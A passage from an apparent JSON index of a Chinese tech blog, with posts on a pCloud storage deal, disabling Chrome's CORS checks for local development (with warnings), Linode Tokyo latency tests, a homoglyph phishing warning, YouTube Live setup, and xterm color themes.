Android，還有網頁版的介面，可以說是任何的設備都適用。\n如果您有許多台電腦、手機與平板，常常需要把資料從一台電腦複製到另外一台，或是在不同手機與平板之間傳輸照片或影等等，像這樣老是要手動複製檔案就會浪費很多時間，而且時間一久，每台電腦之間的資料不同步，搞不清楚自己要的資料放在哪裡，或是到底那一台電腦的資料是最新的，這才是最麻煩的問題。\n以我個人而言，時常會使用 Google 雲端硬碟的方式來同步資料，不過因為它的空間不是很大，而且又跟 GMail 共用儲存空間，所以也沒辦法放太多檔案。\npCloud 是一家專門提供雲端硬碟服務的公司，它們的雲端硬碟做的真的很不錯，感覺跟 Google 的功能類似，除了有繁體中文的操作介面之外，而且還支援非常多的作業系統以及網頁操作介面，對於時常在不同作業系統之間換來換去的人（尤其是 Linux）非常方便。\npCloud 的雲端硬碟平常都是以租用的方式付費，但最近它們推出了一項 500GB 終身雲端硬碟特價優惠，只要 $59.99 美金！也就是說付一次錢，可以用一輩子！\n名稱：pCloud 終身雲端硬碟\n官方網站：https://www.pcloud.com/\n特價網址：StackSocial\n以下是 pCloud 的一些重點特色：\n檔案搜尋功能，可依照檔名、檔案類型來森尋檔案。 垃圾桶功能，可將刪除的檔案保留 180 天（免費版為 30 天）。 無限制檔案大小、無限制上傳與下載速度。 共享資料夾，可分享檔案給親友，可控管檢視與編輯權限，亦可上傳與下載檔案。 支援自動備份與自動同步功能，跨平台快速同步資料。 資料傳輸使用 TLS/SSL 安全加密技術，資料至少存放在 3 個不同的伺服器中心，確保資料的安全。 同時提供電腦版（Windows、Mac OS X、Linux）、手機板（iOS、Android）與網頁版操作介面。 檔案版本歷史紀錄功能，可保存 180 天內（免費版為 30 天內）的檔案變更紀錄，並可回復舊版檔案內容。 支援線上影音串流，可以在網頁介面即時看影片、聽音樂。 這是 pCloud 整合在 Ubuntu Linux 桌面上的畫面。\n這是 pCloud 網頁版的操作介面，在這裡可以很方便的上傳、下載與管理檔案。\n以下是我個人購買的紀錄，首先從 StackSocial 購買並付款之後，會得到一組序號。\n按下「REDEMPTION LINK」的按鈕之後，就可以開啟 pCloud 的兌換網頁，輸入自己的 Email 並設定密碼，再將序號輸入。\n這樣就可以開始使用 pCloud 雲端硬碟了。\n從帳戶的資料中可以看到自己的方案資訊：終身的 Lifetime Premium 方案，500 GB 的雲端硬碟空間。\n這個就是 pCloud 雲端硬碟網頁版操作介面。\n從網頁版的介面中可以直接使用串流的方式觀看自己雲端硬碟中的影片。\n如果是音樂的話，也可以使用串流來聽音樂。\n網頁版的上傳介面也很好用，可以直接上傳整個資料夾。\npCloud 雲端硬碟主要的特色就是它可以讓不同裝置之間的檔案快速同步，而且還有網頁上傳介面，就算在沒有安裝 pCloud 軟體的電腦也可以輕鬆上傳與下載檔案，如果您的需求只是要長期保存資料的大容量，可以參考 Zoolz 的終身 1TB 雲端備份空間。\n","permalink":"https://blog.gtwang.org/cloud/pcloud-premium-lifetime-subscription-on-sale-201612/","summary":"\u003cp\u003epCloud 的 500GB 終身雲端硬碟可以擴充硬碟空間，快速同步不同電腦與手機之間的檔案，還可以很方便的分享給別人，支援 Windows、Mac OS X、Linux、iOS 與 Android，還有網頁版的介面，可以說是任何的設備都適用。\u003c/p\u003e","title":"[12折] pCloud 500GB 終身雲端硬碟大特價，只要 $59.99 美金！"},{"content":"本文敘述如何修改Chrome 瀏覽器安全性設定，讓網頁開發階段避免 Access-Control-Allow-Origin 的問題。\n架構比較複雜的網頁，可能會同時使用多台主機的資源（也就是所謂的 CORS），像是以 Ajax 的技術連線至其他台伺服器，但是因為安全性的因素，瀏覽器預設不允許 JavaScript 任意存取其他伺服器的資源，導致出現類似這樣的錯誤：\nXMLHttpRequest cannot load http://localhost:8080/HpcService/upload?path=~. Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:1841' is therefore not allowed access. 這個訊息在打開瀏覽器開發人員工具的 Console 就可以看到，的畫面就像這樣：\n正常的做法是要變更網頁伺服器的設定，加上 Access-Control-Allow-Origin 這個標頭，不過在開發階段有時候沒有辦法按照正式的做法修改伺服器，這時候我們就可以關閉瀏覽器的安全性檢查功能，暫時避開這個問題。\n將瀏覽器安全性檢查功能關閉的方式，僅適用於網頁的開發與測試，請不要拿來瀏覽一般的網頁。\n這裡我示範 Google Chrome 瀏覽器的做法，若是在 Mac OS X 中，則使用終端機來開啟 Google Chrome，並加上 --disable-web-security 這個參數：\nopen -a Google Chrome --args --disable-web-security --user-data-dir ~/tmp/chrome/ 以這樣的方式所開啟的 Google Chrome 會出現一條警告訊息，告知使用者這樣是不安全的，在這個模式之下，Google Chrome 就不會去檢查 Access-Control-Allow-Origin，對於開發者會方便許多。\nWindows 的 Google Chrome 瀏覽器也是可以用一樣的方式啟動：\n\u0026#34;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\u0026#34; --user-data-dir=\u0026#34;C:\\Chrome dev session2\u0026#34; --disable-web-security 我們可以在命令提示字元中執行這行指令，或是直接修改桌面上的 Google Chrome 瀏覽器的捷徑，把這裡新增的參數貼上去。\n這是在 Windows 中開啟 Google Chrome 視窗的畫面，同樣會出現一行警告訊息。\n在 Linux 中若使用 Chromium 瀏覽器，則執行：\nchromium-browser --disable-web-security --user-data-dir 如果是 Google Chrome 瀏覽器，則執行：\ngoogle-chrome --disable-web-security --user-data-dir Linux 中的 Chrome 畫面也是類似的狀況。\n最後再提醒一點，這裡將 Google Chrome 瀏覽器的安全性檢查關閉的方式，只適合網頁開發者用於開發階段，不可以拿這種模式的瀏覽器來上網，因為它的安全性比較低，若遇到惡意程式的話，就比較容易出問題。\n參考資料 Stack Overflow Stack Overflow ","permalink":"https://blog.gtwang.org/web-development/chrome-configuration-for-access-control-allow-origin/","summary":"\u003cp\u003e本文敘述如何修改Chrome 瀏覽器安全性設定，讓網頁開發階段避免 \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e 的問題。\u003c/p\u003e\n\u003cp\u003e架構比較複雜的網頁，可能會同時使用多台主機的資源（也就是所謂的 \u003ca href=\"https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Guides/CORS\"\u003eCORS\u003c/a\u003e），像是以 Ajax 的技術連線至其他台伺服器，但是因為安全性的因素，瀏覽器預設不允許 JavaScript 任意存取其他伺服器的資源，導致出現類似這樣的錯誤：\u003c/p\u003e","title":"修改 Chrome 瀏覽器安全性設定，解決網頁開發階段 Access-Control-Allow-Origin 問題"},{"content":"Linode VPS 新日本機房上線，本篇是 Linode VPS 虛擬專屬主機日本第二機房的實際測試報告，位於日本的機房非常適合台灣的使用者。\n對於台灣的網站來說，大部分都會選擇日本或新加坡的機房來架設網站，而日本的速度通常又比新加坡快了一點點，大約在 2015 年一月左右，Linode VPS 的日本機房售罄，造成大家只能選擇新加坡的機房，的確有些困擾。\n過了一年多之後，Linode 的官方部落格在這個月發佈了日本新的第二機房正式上線的消息，有亞洲主機需求的人可以納入考慮，以下我在台南的兩個不同的網路環境，針對新加坡與的兩個機房做了簡單的實測。\nLinode 官方有提供專門用來測試主機速度的伺服器，上面有每一個資料中心的測試伺服器，一般我們可以利用這些伺服器來測試各個不同資料中心的網路延遲與頻寬狀況。\nHinet ADSL 網路環境 我在 Hinet ADSL 的網路環境下測試一下亞洲三個資料中心的網路延遲，這裡的 ADSL 速度是 5M/384K，因為頻寬很小，所以我只測試網路延遲。\n第一個是日本舊機房：\nLinode 的日本第一機房表現非常好，平均的 RRT（round-trip time）是 72 ms。接著測試日本第二機房：\n日本的第二機房稍微差了一些，平均 RRT 是 90 ms。最後看一下新加坡的 Linode 機房：\n新加坡的機房測出來的 RRT 平均值是 118 ms 左右，所以對於 Hinet ADSL 的用戶來說，日本的兩個機房會比新加坡的好一點。\n學術網路 這裡我也在學術網路的環境下順便測試一下 Linode 的網路延遲。首先是日本第一機房的測試：\n日本第一機房平均的 RRT 是 45 ms。接著測試第二機房：\n第二機房的結果比較奇怪，平均的 RRT 是 183 ms。下面再測一下新加坡機房：\n新加坡的平均 RRT 是 54 ms，速度反而比日本第二機房還要好。\n以下是兩個日本機房的路由追蹤資料，日本第一機房的路由看起來一路都正常。\n不過在日本第二機房的路由有些小問題，台灣這邊的 211.73.77.245 這台路由器反應比較慢，所以造成日本第二機房的連線延遲驟增，當然這個測試結果會跟測試者所在的地理位置有關係，這份測試都是在台南做的，所以如果換成別的地方（例如台北），有可能就會不同。\n這張圖是這次測試的結果比較，整體而言 Linode 日本這個新的機房表現還不錯，Hinet ADSL 的網路延遲介於舊日本機房與新加坡之間，只是在學術網路上被一台台灣的路由器扯後腿，不過這應該不是正常的狀況，日後有可能就會改善了，有亞洲網站需求的人，現在又多了一個新的機房可以選擇。\n這張圖我是用 R 來畫的，程式碼可參考 R 繪圖與中文字型。\n最後補充一下在 Linux 命令列查詢自己機器公開 IP 位址的指令，這個指令的作用不同於 ifconfig，它可以在 NAT 的環境中查詢到與外部連線時的 IP 位址。\nwget http://ipinfo.io/ip -qO - 對於 Linode VPS 虛擬專屬主機有興趣的人，建議可以參考本站 Linode 的相關教學文章。\n參考資料 PCDIY ","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-new-tokyo2-datacenter/","summary":"\u003cp\u003eLinode VPS 新日本機房上線，本篇是 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS 虛擬專屬主機\u003c/a\u003e日本第二機房的實際測試報告，位於日本的機房非常適合台灣的使用者。\u003c/p\u003e\n\u003cp\u003e對於台灣的網站來說，大部分都會選擇日本或新加坡的機房來架設網站，而日本的速度通常又比新加坡快了一點點，大約在 2015 年一月左右，Linode VPS 的日本機房售罄，造成大家只能選擇新加坡的機房，的確有些困擾。\u003c/p\u003e","title":"Linode VPS 虛擬專屬主機日本第二機房上線，台南測試報告"},{"content":"如果您最近看到 ɢoogle 這個字樣的網址，請小心別亂點，它不是我們熟知的 Google，而是釣魚網站！\n最近在看 Analytics 的資料時，發現兩個異常的流量來源，一個是疑似來自於 lifehacker.com 的流量。\n乍看之下以為是真的，但是如果仔細看，其實它並不是真的知名的 lifehacker.com，而是一個釣魚網站：\nlifehacĸer\nlifehacker 而同一個時間，還有一個異常的瀏覽器語言資料：\n上面的網址也是看起來很像 Google.com，但其實也是一個釣魚網站：\nɢoogle\nGoogle 以上兩個釣魚網站的網址都是利用拉丁字母來以假亂真，請大家要小心。\n參考網站 TechNews ","permalink":"https://blog.gtwang.org/funny/fake-google-com-phishing-website/","summary":"\u003cp\u003e如果您最近看到 ɢoogle 這個字樣的網址，請小心別亂點，它不是我們熟知的 Google，而是釣魚網站！\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近在看 Analytics 的資料時，發現兩個異常的流量來源，一個是疑似來自於 lifehacker.com 的流量。\u003c/p\u003e","title":"小心 ɢoogle 不等於 Google，而是釣魚網站！"},{"content":"本篇介紹 YouTube 的立即直播功能，使用一般的網路攝影機在網路上轉播 live 的現場實況。\nYouTube 立即直播的功能可以讓一般的使用者以 live 的方式轉播各式各樣的影音內容，像是玩遊戲的畫面、新聞現場、演唱會以及體育賽事等，甚至只是想上鏡頭秀一下也都可以使用這個工具來達成。\n以下就是 YouTube 立即直播功能的啟用步驟，還有架設直播設備的方法。\nStep 1\n用自己的 Google 帳號登入 YouTube 之後，在「創作者工作室」頁面中，選擇「即時串流」的「立即直播」功能，YouTube 立即直播的功能在使用之前，需要先進行啟用的動作。\nStep 2\nYouTube 要藉由手機簡訊認證使用者，選擇自己的所在地，並且輸入手機號碼。\nStep 3\n輸入手機上的認證碼。\nStep 4\n帳號認證完成之後，就會出現 YouTube 立即直播的操作畫面，接下來就可以開始架設直播的設備，並且設定讓影音串流可以傳送到 YouTube 進行播放，對於初次使用的人，建議可以使用 YouTube 直播認證的裝置與軟體來進行直播，這種方式會比較簡單。\n除了使用 YouTube 建議的套裝軟體之外，也可以利用第三方的軟體產生影音串流，再將串流傳送至 YouTube 的伺服器進行播放，這種狀況就會需要 YouTube 所提供的伺服器資訊，這個資訊包含一個網址還有一組金鑰，不過這個資訊目前還不會用到，可以先忽略它。\nStep 5\n接著從 YouTube 直播認證的裝置與軟體中任選一種來使用，我選擇 Wirecast Play 這一款可以免費使用的串流直播軟體來做示範，而且它同時有支援 Windows 與 Mac OS X 兩種作業系統，這裡我用的是 Mac OS X 的版本，不過不管是使用那一種軟體或作業系統，概念上都是相同的，只是操作介面上的差別而已。\nStep 6\n按照一般的軟體安裝方式，安裝 Wirecast Play。\nStep 7\n安裝 Wirecast Play 完成後，就可以馬上開啟它進行直播設定，首先從下方選擇影音串流的來源，我們可以使用電腦上內建的鏡頭，或是插上 USB 的網路攝影機，這裡我用羅技 Logitech C920R HD PRO 網路攝影機的影像與聲音作為串流來源。\n接著點選上方的「Stream」按鈕，進行串流的傳送。\nStep 8\n第一次執行串流功能時，會自動跳出這個 Output Strings 設定視窗，填入串流名稱（Name）之後，點選「Authenticate」按鈕，以 Google 帳戶登入，取得 YouTube 的存取權限。\n在取得權限之後，它會自動從 YouTube 取得串流伺服器的相關資訊，並自動設定好，非常方便。\n使用者通常只要修改 Encoding 的部份，根據自己的網路頻寬與畫質需求，選擇適合的影片解析度與壓縮方式。\nStep 9\n設定完成後，再按下「Stream」按鈕，即可進行直播，這裡我把鏡頭照向我的 Mac 螢幕，放一張動畫進行測試。\n在直播的過程中，Wirecast Play 會顯示 CPU 的用量、網路使用量與 FPS 等資訊。\nStep 10\n在 Wirecast Play 送出串流的資料之後，YouTube 立即直播的網頁上就會出現串流的畫面了。\nStep 10\nYouTube 立即直播頁面的下方會顯示直播的正式網址，把這個網址分享給其他人，就可以讓大家看到實況轉播了。\nStep 10\n一般人看到的直播畫面會像這樣，右方可以輸入訊息，即時跟影片發布者對話。\n這個畫面我是直接把鏡頭照向直播視窗，就會產生這樣的有趣畫面。\n在直播結束之後，所有的串流影片會被自動儲存成一般的 YouTube 影片，以下就是我這次測試的影片：\n","permalink":"https://blog.gtwang.org/useful-tools/youtube-live-streaming-mac-os-x-tutorial/","summary":"\u003cp\u003e本篇介紹 YouTube 的立即直播功能，使用一般的網路攝影機在網路上轉播 live 的現場實況。\u003c/p\u003e\n\u003cp\u003eYouTube 立即直播的功能可以讓一般的使用者以 live 的方式轉播各式各樣的影音內容，像是玩遊戲的畫面、新聞現場、演唱會以及體育賽事等，甚至只是想上鏡頭秀一下也都可以使用這個工具來達成。\u003c/p\u003e","title":"YouTube 立即直播影片教學，線上即時的現場實況轉播"},{"content":"這裡介紹如何設定 xterm 虛擬終端機的配色，讓文字介面的命令列看起來也可以非常漂亮。\n在 Linux 中若要讓命令列更好用，除了設定 xterm 的字型之外，佈景主題也是非常重要的一環，以下介紹 xterm 的終端機顏色設定方式。\nXTerm 顏色設定檔 xterm 預設的終端機顏色設定一般是寫在 /etc/X11/app-defaults/XTerm-color 這個設定檔中，如果要更改顏色，可以直接從這裡修改，而其顏色的設定方式就是指定每一個 ANSI 色碼所對應的實際顏色，8 種 ANSI 色碼加上亮色系的色碼，總共有 16 種顏色。\n! These are the 8 ANSI colors and their bright equivalents. Depending on ! other resource settings, xterm may use the bright colors when displaying ! bold text (see the boldColors resource). *VT100*color0: black *VT100*color1: red3 *VT100*color2: green3 *VT100*color3: yellow3 *VT100*color4: blue2 *VT100*color5: magenta3 *VT100*color6: cyan3 *VT100*color7: gray90 *VT100*color8: gray50 *VT100*color9: red *VT100*color10: green *VT100*color11: yellow *VT100*color12: rgb:5c/5c/ff *VT100*color13: magenta *VT100*color14: cyan *VT100*color15: white 如果不想更動系統的設定檔，或是沒有權限修改，也可以從自己帳號的 ~/.Xresources 設定檔中加入顏色設定，設定方式跟 /etc/X11/app-defaults/XTerm-color 完全相同。\n若要查看目前的設定，可以使用 appres 指令：\nappres XTerm xterm | grep color 設定 16 種顏色的動作其實很繁瑣，建議可以從下面的佈景主題中挑選配好的顏色組合，既快速又方便。\nXTerm 佈景主題 這裡我蒐集了許多 xterm 的佈景主題配色，這些設定都可以直接複製到 /etc/X11/app-defaults/XTerm-color 或個人的 ~/.Xresources 中使用。\n! Theme 01 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:a8/a8/a8 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:a8/00/00 *VT100*color2: rgb:00/a8/00 *VT100*color3: rgb:a8/54/00 *VT100*color4: rgb:00/00/a8 *VT100*color5: rgb:a8/00/a8 *VT100*color6: rgb:00/a8/a8 *VT100*color7: rgb:a8/a8/a8 *VT100*color8: rgb:54/50/54 *VT100*color9: rgb:f8/54/50 *VT100*color10: rgb:50/fc/50 *VT100*color11: rgb:f8/fc/50 *VT100*color12: rgb:50/54/f8 *VT100*color13: rgb:f8/54/f8 *VT100*color14: rgb:50/fc/f8 *VT100*color15: rgb:f8/fc/f8 ! Theme 02 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:7f/7f/7f *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:9e/18/28 *VT100*color2: rgb:ae/ce/92 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:41/41/71 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:41/81/79 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:cf/61/71 *VT100*color10: rgb:c5/f7/79 *VT100*color11: rgb:ff/f7/96 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:cf/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 03 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:cf/cf/cf *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:e0/10/10 *VT100*color2: rgb:20/ad/20 *VT100*color3: rgb:d4/c2/4f *VT100*color4: rgb:23/1b/b8 *VT100*color5: rgb:9c/38/85 *VT100*color6: rgb:1d/bd/b8 *VT100*color7: rgb:fe/fe/fe *VT100*color8: rgb:6a/6a/6a *VT100*color9: rgb:e8/3a/3d *VT100*color10: rgb:35/e9/56 *VT100*color11: rgb:ff/ff/2f *VT100*color12: rgb:3a/53/f0 *VT100*color13: rgb:e6/28/ba *VT100*color14: rgb:1c/f5/f5 *VT100*color15: rgb:ff/ff/ff ! Theme 04 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:ff/ff/ff *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:d3/62/65 *VT100*color2: rgb:ae/ce/91 *VT100*color3: rgb:e7/e1/8c *VT100*color4: rgb:7a/7a/b0 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:41/81/79 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:ef/81/71 *VT100*color10: rgb:e5/f7/79 *VT100*color11: rgb:ff/f7/96 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:ef/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 05 *VT100*background: rgb:ad/aa/ad *VT100*foreground: rgb:00/00/00 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:64/0f/19 *VT100*color2: rgb:63/79/6b *VT100*color3: rgb:ad/71/42 *VT100*color4: rgb:4f/4f/89 *VT100*color5: rgb:b2/5c/7c *VT100*color6: rgb:52/75/6b *VT100*color7: rgb:ad/aa/ad *VT100*color8: rgb:52/55/52 *VT100*color9: rgb:a5/61/63 *VT100*color10: rgb:ce/c2/63 *VT100*color11: rgb:73/ae/70 *VT100*color12: rgb:36/70/9f *VT100*color13: rgb:aa/82/9c *VT100*color14: rgb:51/89/89 *VT100*color15: rgb:ff/ff/ef ! Theme 06 *VT100*background: rgb:be/be/be *VT100*foreground: rgb:21/21/21 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:bf/72/76 *VT100*color2: rgb:86/af/80 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:36/73/b5 *VT100*color5: rgb:9a/70/b2 *VT100*color6: rgb:7a/be/cc *VT100*color7: rgb:db/db/db *VT100*color8: rgb:66/92/af *VT100*color9: rgb:e5/50/5f *VT100*color10: rgb:87/bc/87 *VT100*color11: rgb:e0/d9/5c *VT100*color12: rgb:1b/85/d6 *VT100*color13: rgb:ad/73/ba *VT100*color14: rgb:33/8e/aa *VT100*color15: rgb:f4/f4/f4 ! Theme 07 *VT100*background: rgb:67/67/67 *VT100*foreground: rgb:ff/ff/ff *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:bf/46/46 *VT100*color2: rgb:67/b2/5f *VT100*color3: rgb:cf/c4/4e *VT100*color4: rgb:51/60/83 *VT100*color5: rgb:ca/6e/ff *VT100*color6: rgb:92/b2/f8 *VT100*color7: rgb:d5/d5/d5 *VT100*color8: rgb:00/00/00 *VT100*color9: rgb:f4/8a/8a *VT100*color10: rgb:a5/d7/9f *VT100*color11: rgb:e1/da/84 *VT100*color12: rgb:a2/bb/ff *VT100*color13: rgb:e2/b0/ff *VT100*color14: rgb:ba/cd/f8 *VT100*color15: rgb:d5/d5/d5 ! Theme 08 *VT100*background: rgb:10/10/10 *VT100*foreground: rgb:d3/d3/d3 *VT100*color0: rgb:10/10/10 *VT100*color1: rgb:cd/5c/5c *VT100*color2: rgb:2e/8b/57 *VT100*color3: rgb:f0/e6/8c *VT100*color4: rgb:b0/c4/de *VT100*color5: rgb:ba/55/d3 *VT100*color6: rgb:46/82/b4 *VT100*color7: rgb:d3/d3/d3 *VT100*color8: rgb:4d/4d/4d *VT100*color9: rgb:ff/6a/6a *VT100*color10: rgb:8f/bc/8f *VT100*color11: rgb:ff/fa/cd *VT100*color12: rgb:1e/90/ff *VT100*color13: rgb:db/70/93 *VT100*color14: rgb:5f/9e/a0 *VT100*color15: rgb:ff/ff/ff ! Theme 09 *VT100*background: rgb:1a/1a/1a *VT100*foreground: rgb:d6/d6/d6 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:9e/18/28 *VT100*color2: rgb:00/88/00 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:41/41/71 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:41/81/79 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:cf/61/71 *VT100*color10: rgb:7c/bc/8c *VT100*color11: rgb:ff/f7/96 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:cf/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 10 *VT100*background: rgb:1a/1a/1a *VT100*foreground: rgb:d6/d6/d6 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:98/56/5e *VT100*color2: rgb:66/82/5d *VT100*color3: rgb:96/91/76 *VT100*color4: rgb:4d/65/85 *VT100*color5: rgb:96/73/95 *VT100*color6: rgb:5f/7f/7b *VT100*color7: rgb:b3/b3/b3 *VT100*color8: rgb:73/73/73 *VT100*color9: rgb:cf/a3/a9 *VT100*color10: rgb:ca/f7/bb *VT100*color11: rgb:ff/f8/bc *VT100*color12: rgb:83/a3/be *VT100*color13: rgb:bb/a9/cf *VT100*color14: rgb:96/cc/cc *VT100*color15: rgb:ff/ff/ff ! Theme 11 *VT100*background: rgb:33/33/33 *VT100*foreground: rgb:ff/ff/ff *VT100*color0: rgb:33/33/33 *VT100*color8: rgb:33/33/33 *VT100*color1: rgb:ff/a0/a0 *VT100*color9: rgb:ff/a0/a0 *VT100*color2: rgb:98/fb/98 *VT100*color10: rgb:9a/cd/32 *VT100*color3: rgb:f0/e6/8c *VT100*color11: rgb:f0/e6/8c *VT100*color4: rgb:87/ce/eb *VT100*color12: rgb:87/ce/eb *VT100*color5: rgb:ff/a0/a0 *VT100*color13: rgb:ff/a0/a0 *VT100*color6: rgb:87/ce/eb *VT100*color14: rgb:87/ce/eb *VT100*color7: rgb:ff/ff/ff *VT100*color15: rgb:ff/ff/ff ! Theme 12 *VT100*foreground: rgb:ff/ff/ff *VT100*background: rgb:00/00/00 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:bf/72/76 *VT100*color2: rgb:86/af/80 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:36/73/b5 *VT100*color5: rgb:9a/70/b2 *VT100*color6: rgb:7a/be/cc *VT100*color7: rgb:db/db/db *VT100*color8: rgb:66/92/af *VT100*color9: rgb:e5/50/5f *VT100*color10: rgb:87/bc/87 *VT100*color11: rgb:e0/d9/5c *VT100*color12: rgb:1b/85/d6 *VT100*color13: rgb:ad/73/ba *VT100*color14: rgb:33/8e/aa *VT100*color15: rgb:f4/f4/f4 ! Theme 13 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:aa/aa/aa *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:9e/18/28 *VT100*color2: rgb:ae/ce/92 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:41/41/71 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:7f/9f/7f *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:cf/61/71 *VT100*color10: rgb:af/c5/af *VT100*color11: rgb:f0/df/af *VT100*color12: rgb:8e/9f/bc *VT100*color13: rgb:dc/a3/a3 *VT100*color14: rgb:95/c1/c5 *VT100*color15: rgb:ff/ff/ff ! Theme 14 *VT100*background: rgb:95/95/95 *VT100*foreground: rgb:00/00/00 *VT100*color0: rgb:7f/7f/7f *VT100*color1: rgb:cd/00/00 *VT100*color2: rgb:00/8b/00 *VT100*color3: rgb:ee/ee/00 *VT100*color4: rgb:00/00/cd *VT100*color5: rgb:cd/00/cd *VT100*color6: rgb:00/ee/ee *VT100*color7: rgb:fa/eb/d7 *VT100*color8: rgb:e5/e5/e5 *VT100*color9: rgb:80/00/00 *VT100*color10: rgb:00/50/20 *VT100*color11: rgb:99/55/00 *VT100*color12: rgb:00/40/80 *VT100*color13: rgb:44/33/00 *VT100*color14: rgb:30/60/80 *VT100*color15: rgb:ff/ff/ff ! Theme 15 *VT100*background: rgb:1d/2b/3a *VT100*foreground: rgb:be/be/be *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:d3/62/65 *VT100*color2: rgb:ae/ce/91 *VT100*color3: rgb:e7/e1/8c *VT100*color4: rgb:7a/7a/b0 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:41/81/79 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:ef/81/71 *VT100*color10: rgb:e5/f7/79 *VT100*color11: rgb:ff/f7/99 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:ef/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 16 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:be/be/be *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:9e/18/28 *VT100*color2: rgb:ae/ce/92 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:41/41/71 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:41/81/79 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:cf/61/71 *VT100*color10: rgb:c5/f7/79 *VT100*color11: rgb:ff/f7/96 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:cf/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 17 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:e5/e5/e5 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:ff/00/00 *VT100*color2: rgb:00/ff/00 *VT100*color3: rgb:ff/ff/00 *VT100*color4: rgb:00/00/ff *VT100*color5: rgb:ff/00/ff *VT100*color6: rgb:00/ff/ff *VT100*color7: rgb:ff/ff/ff *VT100*color8: rgb:ff/d3/9b *VT100*color9: rgb:ff/82/47 *VT100*color10: rgb:ff/82/ab *VT100*color11: rgb:87/ce/fa *VT100*color12: rgb:ff/ff/ff *VT100*color13: rgb:ff/ff/ff *VT100*color14: rgb:ff/ff/ff *VT100*color15: rgb:ff/ff/ff ! Theme 18 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:e5/e5/e5 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:9e/18/28 *VT100*color2: rgb:5c/b2/47 *VT100*color3: rgb:96/8a/38 *VT100*color4: rgb:41/61/a0 *VT100*color5: rgb:9b/76/8e *VT100*color6: rgb:41/91/89 *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:cf/61/71 *VT100*color10: rgb:c5/f7/79 *VT100*color11: rgb:ff/f7/96 *VT100*color12: rgb:41/86/be *VT100*color13: rgb:cf/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:dd/dd/dd ! Theme 19 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:e5/e5/e5 *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:b0/70/50 *VT100*color2: rgb:12/91/4e *VT100*color3: rgb:a0/a0/70 *VT100*color4: rgb:3e/45/81 *VT100*color5: rgb:a0/70/a0 *VT100*color6: rgb:70/a0/a0 *VT100*color7: rgb:a0/a0/a0 *VT100*color8: rgb:60/60/60 *VT100*color9: rgb:b0/70/50 *VT100*color10: rgb:12/91/4e *VT100*color11: rgb:c0/c0/90 *VT100*color12: rgb:3e/45/81 *VT100*color13: rgb:c0/90/c0 *VT100*color14: rgb:90/c0/c0 